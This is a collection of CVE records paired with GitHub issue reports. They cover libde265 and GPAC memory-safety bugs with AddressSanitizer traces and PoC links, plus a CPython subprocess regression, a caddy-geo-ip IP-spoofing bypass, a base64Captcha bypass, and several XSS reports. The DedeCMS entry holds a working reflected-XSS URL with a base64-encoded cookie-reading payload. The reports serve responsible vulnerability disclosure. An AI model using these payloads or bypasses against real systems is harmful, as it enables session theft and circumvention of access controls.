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CVE-2023-49465 | 2023-12-07T20:15:38.370 | Libde265 v1.0.14 was discovered to contain a heap-buffer-overflow vulnerability in the derive_spatial_luma_vector_prediction function at motion.cc. | {
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"integrityImpact": "HIGH",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
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] | github.com | [
"strukturag",
"libde265"
] | ### Description
heap-buffer-overflow `libde265/libde265/motion.cc:1860` in `derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*)`
### Version
```
dec265 v1.0.14
-----------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```
cd libde265
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure
make -j
# You need to try running poc several times to see the asan result.
./dec265/dec265 ./poc
```
### ASAN
```
==1982966==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000001b10 at pc 0x56501e786954 bp 0x7ffc66164680 sp 0x7ffc66164670
READ of size 4 at 0x61b000001b10 thread T0
#0 0x56501e786953 in derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*) libde265/libde265/motion.cc:1860
#1 0x56501e787950 in fill_luma_motion_vector_predictors(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, int, int, int, MotionVector*) libde265/libde265/motion.cc:1990
#2 0x56501e79c58a in luma_motion_vector_prediction(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, int, int) libde265/libde265/motion.cc:2063
#3 0x56501e79c58a in motion_vectors_and_ref_indices(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, PBMotion*) libde265/libde265/motion.cc:2155
#4 0x56501e79c58a in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) libde265/libde265/motion.cc:2195
#5 0x56501e662806 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) libde265/libde265/slice.cc:4145
#6 0x56501e66c4cb in read_coding_unit(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4506
#7 0x56501e670f59 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650
#8 0x56501e670df6 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4644
#9 0x56501e670f59 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650
#10 0x56501e673696 in decode_substream(thread_context*, bool, bool) libde265/libde265/slice.cc:4750
#11 0x56501e679fc9 in read_slice_segment_data(thread_context*) libde265/libde265/slice.cc:5063
#12 0x56501e53c8b4 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) libde265/libde265/decctx.cc:854
#13 0x56501e543e55 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) libde265/libde265/decctx.cc:956
#14 0x56501e5477eb in decoder_context::decode_some(bool*) libde265/libde265/decctx.cc:741
#15 0x56501e55957a in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:699
#16 0x56501e55b645 in decoder_context::decode_NAL(NAL_unit*) libde265/libde265/decctx.cc:1241
#17 0x56501e55c508 in decoder_context::decode(int*) libde265/libde265/decctx.cc:1329
#18 0x56501e51646c in main libde265/dec265/dec265.cc:784
#19 0x7fd4aa229d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#20 0x7fd4aa229e3f in __libc_start_main_impl ../csu/libc-start.c:392
#21 0x56501e518ce4 in _start (eva/asan-bin/NestFuzz/libde265/dec265+0x1ece4)
0x61b000001b10 is located 8 bytes to the right of 1416-byte region [0x61b000001580,0x61b000001b08)
allocated by thread T0 here:
#0 0x7fd4aaab61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99
#1 0x56501e557f17 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:635
SUMMARY: AddressSanitizer: heap-buffer-overflow libde265/libde265/motion.cc:1860 in derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*)
```
### POC
[poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc23)
### Environment
```
Description: Ubuntu 22.04.2 LTS
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
```
### Credit
Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/)) | heap-buffer-overflow `libde265/libde265/motion.cc:1860` in `derive_spatial_luma_vector_prediction` | https://api.github.com/repos/strukturag/libde265/issues/435/comments | 3 | 2023-11-23T02:44:12Z | 2023-12-20T10:49:09Z | https://github.com/strukturag/libde265/issues/435 | 2,007,396,948 | 435 | 5,794 |
CVE-2023-49467 | 2023-12-07T20:15:38.427 | Libde265 v1.0.14 was discovered to contain a heap-buffer-overflow vulnerability in the derive_combined_bipredictive_merging_candidates function at motion.cc. | {
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] | github.com | [
"strukturag",
"libde265"
] | ### Description
heap-buffer-overflow `eva/put/libde265/libde265/motion.cc:1443` in `derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int)`
### Version
```
dec265 v1.0.14
-----------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```
cd libde265
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure
make -j
# You need to try running poc several times to see the asan result.
./dec265/dec265 ./poc
```
### ASAN
```
=================================================================
==3684026==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000000658 at pc 0x5621bef6c512 bp 0x7ffe781d0d70 sp 0x7ffe781d0d60
READ of size 4 at 0x61b000000658 thread T0
#0 0x5621bef6c511 in derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int) eva/put/libde265/libde265/motion.cc:1443
#1 0x5621bef6d403 in get_merge_candidate_list_without_step_9(base_context*, slice_segment_header const*, MotionVectorAccess const&, de265_image*, int, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:1564
#2 0x5621bef8da6a in derive_luma_motion_merge_mode(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:1622
#3 0x5621bef8da6a in motion_vectors_and_ref_indices(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, PBMotion*) eva/put/libde265/libde265/motion.cc:2112
#4 0x5621bef8da6a in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) eva/put/libde265/libde265/motion.cc:2195
#5 0x5621bee53806 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) eva/put/libde265/libde265/slice.cc:4145
#6 0x5621bee5d5ff in read_coding_unit(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4513
#7 0x5621bee61e7f in read_coding_quadtree(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4647
#8 0x5621bee61df6 in read_coding_quadtree(thread_context*, int, int, int, int) eva/put/libde265/libde265/slice.cc:4644
#9 0x5621bee64696 in decode_substream(thread_context*, bool, bool) eva/put/libde265/libde265/slice.cc:4750
#10 0x5621bee6afc9 in read_slice_segment_data(thread_context*) eva/put/libde265/libde265/slice.cc:5063
#11 0x5621bed2d8b4 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) eva/put/libde265/libde265/decctx.cc:854
#12 0x5621bed34e55 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) eva/put/libde265/libde265/decctx.cc:956
#13 0x5621bed387eb in decoder_context::decode_some(bool*) eva/put/libde265/libde265/decctx.cc:741
#14 0x5621bed4a57a in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) eva/put/libde265/libde265/decctx.cc:699
#15 0x5621bed4c645 in decoder_context::decode_NAL(NAL_unit*) eva/put/libde265/libde265/decctx.cc:1241
#16 0x5621bed4d508 in decoder_context::decode(int*) eva/put/libde265/libde265/decctx.cc:1329
#17 0x5621bed0746c in main eva/put/libde265/dec265/dec265.cc:784
#18 0x7f2636829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#19 0x7f2636829e3f in __libc_start_main_impl ../csu/libc-start.c:392
#20 0x5621bed09ce4 in _start (eva/asan-bin/NestFuzz/libde265/dec265+0x1ece4)
0x61b000000658 is located 80 bytes to the right of 1416-byte region [0x61b000000080,0x61b000000608)
allocated by thread T0 here:
#0 0x7f26370b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99
#1 0x5621bed48f17 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) eva/put/libde265/libde265/decctx.cc:635
SUMMARY: AddressSanitizer: heap-buffer-overflow eva/put/libde265/libde265/motion.cc:1443 in derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int)
```
### POC
[poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc22)
### Environment
```
Description: Ubuntu 22.04.2 LTS
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
```
### Credit
Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/)) | heap-buffer-overflow `libde265/libde265/motion.cc:1443` in `derive_combined_bipredictive_merging_candidates` | https://api.github.com/repos/strukturag/libde265/issues/434/comments | 3 | 2023-11-23T02:39:56Z | 2023-12-20T10:47:44Z | https://github.com/strukturag/libde265/issues/434 | 2,007,393,613 | 434 | 5,795 |
CVE-2023-49468 | 2023-12-07T20:15:38.477 | Libde265 v1.0.14 was discovered to contain a global buffer overflow vulnerability in the read_coding_unit function at slice.cc. | {
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] | github.com | [
"strukturag",
"libde265"
] | ### Description
global-buffer-overflow `libde265/libde265/slice.cc:4493` in `read_coding_unit(thread_context*, int, int, int, int)`
### Version
```
dec265 v1.0.14
-----------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```
cd libde265
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure
make -j
./dec265/dec265 ./poc
```
### ASAN
```
==1753516==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f6e8318665e at pc 0x7f6e83139f09 bp 0x7fffda7f3620 sp 0x7fffda7f3610
READ of size 1 at 0x7f6e8318665e thread T0
#0 0x7f6e83139f08 in read_coding_unit(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4493
#1 0x7f6e8313abda in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650
#2 0x7f6e8313b941 in decode_substream(thread_context*, bool, bool) libde265/libde265/slice.cc:4750
#3 0x7f6e8313d29d in read_slice_segment_data(thread_context*) libde265/libde265/slice.cc:5063
#4 0x7f6e830ca881 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) libde265/libde265/decctx.cc:854
#5 0x7f6e830cca4d in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) libde265/libde265/decctx.cc:956
#6 0x7f6e830ccfe5 in decoder_context::decode_some(bool*) libde265/libde265/decctx.cc:741
#7 0x7f6e830d4ec2 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:699
#8 0x7f6e830d5a4d in decoder_context::decode_NAL(NAL_unit*) libde265/libde265/decctx.cc:1241
#9 0x7f6e830d6308 in decoder_context::decode(int*) libde265/libde265/decctx.cc:1329
#10 0x55b9a8c5fd26 in main libde265/dec265/dec265.cc:784
#11 0x7f6e81e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#12 0x7f6e81e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#13 0x55b9a8c60ca4 in _start (libde265/dec265/.libs/dec265+0x5ca4)
0x7f6e8318665e is located 14 bytes to the right of global variable 'ctxIdxMap' defined in 'slice.cc:1964:22' (0x7f6e83186640) of size 16
SUMMARY: AddressSanitizer: global-buffer-overflow libde265/libde265/slice.cc:4493 in read_coding_unit(thread_context*, int, int, int, int)
Shadow bytes around the buggy address:
0x0fee50628c70: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 01 f9 f9
0x0fee50628c80: f9 f9 f9 f9 00 00 00 f9 f9 f9 f9 f9 00 00 00 01
0x0fee50628c90: f9 f9 f9 f9 00 00 00 05 f9 f9 f9 f9 00 00 00 00
0x0fee50628ca0: 00 00 00 03 f9 f9 f9 f9 00 00 00 00 00 00 00 02
0x0fee50628cb0: f9 f9 f9 f9 00 00 00 00 03 f9 f9 f9 f9 f9 f9 f9
=>0x0fee50628cc0: 00 00 f9 f9 f9 f9 f9 f9 00 00 f9[f9]f9 f9 f9 f9
0x0fee50628cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fee50628ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fee50628cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fee50628d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fee50628d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1753516==ABORTING
```
### POC
[poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc20)
### Environment
```
Description: Ubuntu 22.04.2 LTS
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
```
### Credit
Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/)) | global-buffer-overflow in read_coding_unit | https://api.github.com/repos/strukturag/libde265/issues/432/comments | 8 | 2023-11-22T10:12:42Z | 2023-12-20T19:14:23Z | https://github.com/strukturag/libde265/issues/432 | 2,005,999,851 | 432 | 5,796 |
CVE-2023-6507 | 2023-12-08T19:15:08.440 | An issue was found in CPython 3.12.0 `subprocess` module on POSIX platforms. The issue was fixed in CPython 3.12.1 and does not affect other stable releases.
When using the `extra_groups=` parameter with an empty list as a value (ie `extra_groups=[]`) the logic regressed to not call `setgroups(0, NULL)` before calling `exec()`, thus not dropping the original processes' groups before starting the new process. There is no issue when the parameter isn't used or when any value is used besides an empty list.
This issue only impacts CPython processes run with sufficient privilege to make the `setgroups` system call (typically `root`).
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] | 269 | https://github.com/python/cpython/issues/112334 | [
"Issue Tracking",
"Patch"
] | github.com | [
"python",
"cpython"
] | # Bug report
### Bug description:
Apologies if this is a duplicate. I couldn’t find a similar report, though.
# The issue and how to reproduce
We’re seeing a performance regression since 124af17b6e. The best way to reproduce it is to spawn lots of processes from a `ThreadPoolExecutor`. For example:
```python
#!/usr/bin/env python3
from concurrent.futures import ThreadPoolExecutor, wait
from subprocess import Popen
def target(i):
p = Popen(['touch', f'/tmp/reproc-{i}'])
p.communicate()
executor = ThreadPoolExecutor(max_workers=64)
futures = set()
for i in range(10_000):
futures.add(executor.submit(target, i))
wait(futures)
```
Before, on 49cae39ef0, it’s roughly this:
```
real 0m2.419s
user 0m4.524s
sys 0m0.976s
```
Since 124af17b6e, it’s roughly this:
```
real 0m11.772s
user 0m10.287s
sys 0m14.409s
```
# An attempt at an analysis and possible fix
`strace` shows that the new code doesn’t use `vfork()` anymore but `clone()`. I believe that the reason for this is an incorrect check of `num_groups` (or `extra_group_size`, as it is now called on `main`).
124af17b6e checks if `extra_group_size` is _less than zero_ to determine if we can use `vfork()`. Is that correct? Maybe this should be _equal to zero_? I’m talking about these two locations (diff relative to `main`/9e56eedd018e1a46):
```diff
diff --git a/Modules/_posixsubprocess.c b/Modules/_posixsubprocess.c
index 2898eedc3e..fb6c235901 100644
--- a/Modules/_posixsubprocess.c
+++ b/Modules/_posixsubprocess.c
@@ -889,7 +889,7 @@ do_fork_exec(char *const exec_array[],
/* These are checked by our caller; verify them in debug builds. */
assert(uid == (uid_t)-1);
assert(gid == (gid_t)-1);
- assert(extra_group_size < 0);
+ assert(extra_group_size == 0);
assert(preexec_fn == Py_None);
/* Drop the GIL so that other threads can continue execution while this
@@ -1208,7 +1208,7 @@ subprocess_fork_exec_impl(PyObject *module, PyObject *process_args,
/* Use vfork() only if it's safe. See the comment above child_exec(). */
sigset_t old_sigs;
if (preexec_fn == Py_None && allow_vfork &&
- uid == (uid_t)-1 && gid == (gid_t)-1 && extra_group_size < 0) {
+ uid == (uid_t)-1 && gid == (gid_t)-1 && extra_group_size == 0) {
/* Block all signals to ensure that no signal handlers are run in the
* child process while it shares memory with us. Note that signals
* used internally by C libraries won't be blocked by
```
`extra_group_size` is the result of the call to `PySequence_Size(extra_groups_packed)`. If I understand [the docs](https://docs.python.org/3/c-api/sequence.html) correctly, then this function only returns negative values to indicate errors. This error condition is already checked, right after the call itself:
```C
extra_group_size = PySequence_Size(extra_groups_packed);
if (extra_group_size < 0)
goto cleanup;
```
Later in the code, `extra_group_size` can never be less than zero. It can, however, be equal to zero if `extra_groups` is an empty list. I believe this is what was _meant to be_ checked here.
I’ll happily open a PR for this if you agree that this is the way to go.
### CPython versions tested on:
3.11, 3.12, 3.13, CPython main branch
### Operating systems tested on:
Linux
<!-- gh-linked-prs -->
### Linked PRs
* gh-112617
* gh-112731
* gh-112734
<!-- /gh-linked-prs -->
| subprocess.Popen: Performance regression on Linux since 124af17b6e [CVE-2023-6507] | https://api.github.com/repos/python/cpython/issues/112334/comments | 3 | 2023-11-23T10:53:20Z | 2023-12-08T21:00:58Z | https://github.com/python/cpython/issues/112334 | 2,007,974,265 | 112,334 | 5,797 |
CVE-2023-46932 | 2023-12-09T07:15:07.663 | Heap Buffer Overflow vulnerability in GPAC version 2.3-DEV-rev617-g671976fcc-master, allows attackers to execute arbitrary code and cause a denial of service (DoS) via str2ulong class in src/media_tools/avilib.c in gpac/MP4Box. | {
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"gpac",
"gpac"
] | # heap-buffer-overflow in str2ulong src/media_tools/avilib.c:137:16 in gpac/MP4Box
### Description
Heap-buffer-overflow in MP4Box.
#0 0x7ffff694c441 in str2ulong /afltest/gpac2/src/media_tools/avilib.c:137:16
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -dash 500 -check-xml -dm2ts -bin -out /dev/null poc6gpac
```shell
=================================================================
==1173259==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001a330 at pc 0x7ffff694c442 bp 0x7ffffffeea70 sp 0x7ffffffeea68
READ of size 1 at 0x62100001a330 thread T0
#0 0x7ffff694c441 in str2ulong /afltest/gpac2/src/media_tools/avilib.c:137:16
#1 0x7ffff694c441 in avi_parse_input_file /afltest/gpac2/src/media_tools/avilib.c:2004:9
#2 0x7ffff694220a in AVI_open_input_file /afltest/gpac2/src/media_tools/avilib.c:1840:2
#3 0x7ffff6f9d3f3 in avidmx_process /afltest/gpac2/src/filters/dmx_avi.c:492:14
#4 0x7ffff6e8f502 in gf_filter_process_task /afltest/gpac2/src/filter_core/filter.c:2971:7
#5 0x7ffff6e62ee9 in gf_fs_thread_proc /afltest/gpac2/src/filter_core/filter_session.c:2105:3
#6 0x7ffff6e6193d in gf_fs_run /afltest/gpac2/src/filter_core/filter_session.c:2405:3
#7 0x7ffff67a625c in gf_dasher_process /afltest/gpac2/src/media_tools/dash_segmenter.c:1236:6
#8 0x50dfc7 in do_dash /afltest/gpac2/applications/mp4box/mp4box.c:4831:15
#9 0x50dfc7 in mp4box_main /afltest/gpac2/applications/mp4box/mp4box.c:6245:7
#10 0x7ffff58cb082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x42adad in _start (/afltest/gpac2/bin/gcc/MP4Box+0x42adad)
0x62100001a330 is located 0 bytes to the right of 4656-byte region [0x621000019100,0x62100001a330)
allocated by thread T0 here:
#0 0x4a34ed in malloc (/afltest/gpac2/bin/gcc/MP4Box+0x4a34ed)
#1 0x7ffff6942aae in avi_parse_input_file /afltest/gpac2/src/media_tools/avilib.c:1944:35
#2 0x7ffff694220a in AVI_open_input_file /afltest/gpac2/src/media_tools/avilib.c:1840:2
SUMMARY: AddressSanitizer: heap-buffer-overflow /afltest/gpac2/src/media_tools/avilib.c:137:16 in str2ulong
Shadow bytes around the buggy address:
0x0c427fffb410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffb460: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
0x0c427fffb470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb4b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1173259==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -dash 500 -check-xml -dm2ts -bin -out /dev/null poc6gpac
```
*Thanks* *for* *your* *time*!
### PoC
poc6gpac: [poc6gpac.zip](https://github.com/gpac/gpac/files/13181307/poc6gpac.zip)
### **Impact**
This vulnerability is capable of causing crashes, or possible code execution.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | heap-buffer-overflow in str2ulong src/media_tools/avilib.c:137:16 in gpac/MP4Box | https://api.github.com/repos/gpac/gpac/issues/2669/comments | 0 | 2023-10-26T18:25:32Z | 2023-12-04T10:07:48Z | https://github.com/gpac/gpac/issues/2669 | 1,964,116,818 | 2,669 | 5,798 |
CVE-2022-48614 | 2023-12-10T19:15:07.410 | Special:Ask in Semantic MediaWiki before 4.0.2 allows Reflected XSS. | {
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] | github.com | [
"SemanticMediaWiki",
"SemanticMediaWiki"
] | ### Setup
- SMW version: 3.2.3
- MW version: 1.36.4
- PHP version: 7.4.28 (fpm-fcgi)
- DB system (MySQL, Blazegraph, etc.) and version: MySQL 5.7.12
### Issue
There is a possible "reflected XSS" vulnerability in Special:Ask. Given that it's a potential security risk to, let me know if there is a way I can submit the details privately. I can send a link that clearly demonstrates the issue.
| Possible Reflected XSS vulnerability in Special:Ask | https://api.github.com/repos/SemanticMediaWiki/SemanticMediaWiki/issues/5262/comments | 4 | 2022-06-10T21:39:13Z | 2022-07-12T15:48:51Z | https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues/5262 | 1,268,046,033 | 5,262 | 5,799 |
CVE-2023-50463 | 2023-12-10T23:15:07.247 | The caddy-geo-ip (aka GeoIP) middleware through 0.6.0 for Caddy 2, when trust_header X-Forwarded-For is used, allows attackers to spoof their source IP address via an X-Forwarded-For header, which may bypass a protection mechanism (trusted_proxy directive in reverse_proxy or IP address range restrictions). | {
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] | github.com | [
"shift72",
"caddy-geo-ip"
] | When trust_header is configured, req.RemoteAddr is overwritten. This allows spoofing the remote address in following checks.
In the example the {remote_host} variable is changed.
```
geo_ip {
db_path /var/lib/GeoIP/GeoLite2-City.mmdb
trust_header X-Forwarded-For
}
respond /test 200 {
body "Remote Address:{remote_host}"
}
```
This allows bypassing IP range restrictions, bypassing the trusted_proxy directive in reverse_proxy and any other restrictions or checks that use req.RemoteAddr. | Security: trust_header overwrites req.RemoteAddr globally | https://api.github.com/repos/shift72/caddy-geo-ip/issues/4/comments | 0 | 2023-02-07T22:27:53Z | 2023-02-07T22:27:53Z | https://github.com/shift72/caddy-geo-ip/issues/4 | 1,575,120,425 | 4 | 5,800 |
CVE-2023-49488 | 2023-12-11T21:15:07.283 | A cross-site scripting (XSS) vulnerability in Openfiler ESA v2.99.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the nic parameter. | {
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| Openfiler ESA 2.99.1 Reflective XSS Vulnerability | https://api.github.com/repos/Hebing123/cve/issues/1/comments | 1 | 2023-11-23T03:00:09Z | 2024-01-11T03:30:06Z | https://github.com/Hebing123/cve/issues/1 | 2,007,406,882 | 1 | 5,801 |
CVE-2023-49494 | 2023-12-11T21:15:07.397 | DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php. | {
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"Hebing123",
"cve"
] | **Description**
DedeCMS-V5.7.111 has Reflective XSS vulnerability in filename parameter of select_media_post_wangEditor.php
**Proof of Concept**
http://target-ip/uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E
**Impact**
Reflective XSS vulnerability triggered by administrator accessing the link.
| DedeCMS-V5.7.111 Reflective XSS vulnerability in select_media_post_wangEditor.php | https://api.github.com/repos/Hebing123/cve/issues/3/comments | 2 | 2023-11-23T10:22:21Z | 2024-11-21T10:33:32Z | https://github.com/Hebing123/cve/issues/3 | 2,007,897,963 | 3 | 5,802 |
CVE-2023-45292 | 2023-12-11T22:15:06.677 | When using the default implementation of Verify to check a Captcha, verification can be bypassed. For example, if the first parameter is a non-existent id, the second parameter is an empty string, and the third parameter is true, the function will always consider the Captcha to be correct. | {
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] | github.com | [
"mojocn",
"base64Captcha"
] | 当store.Verify的answer为空字符串并且id不存在时返回值永远为true
复原代码
``` go
package main
import (
"fmt"
"strconv"
"testing"
"github.com/mojocn/base64Captcha"
)
func TestCat(t *testing.T) {
var store = base64Captcha.DefaultMemStore
fmt.Println(strconv.FormatBool(store.Verify("dsad", "", true)))
}
```
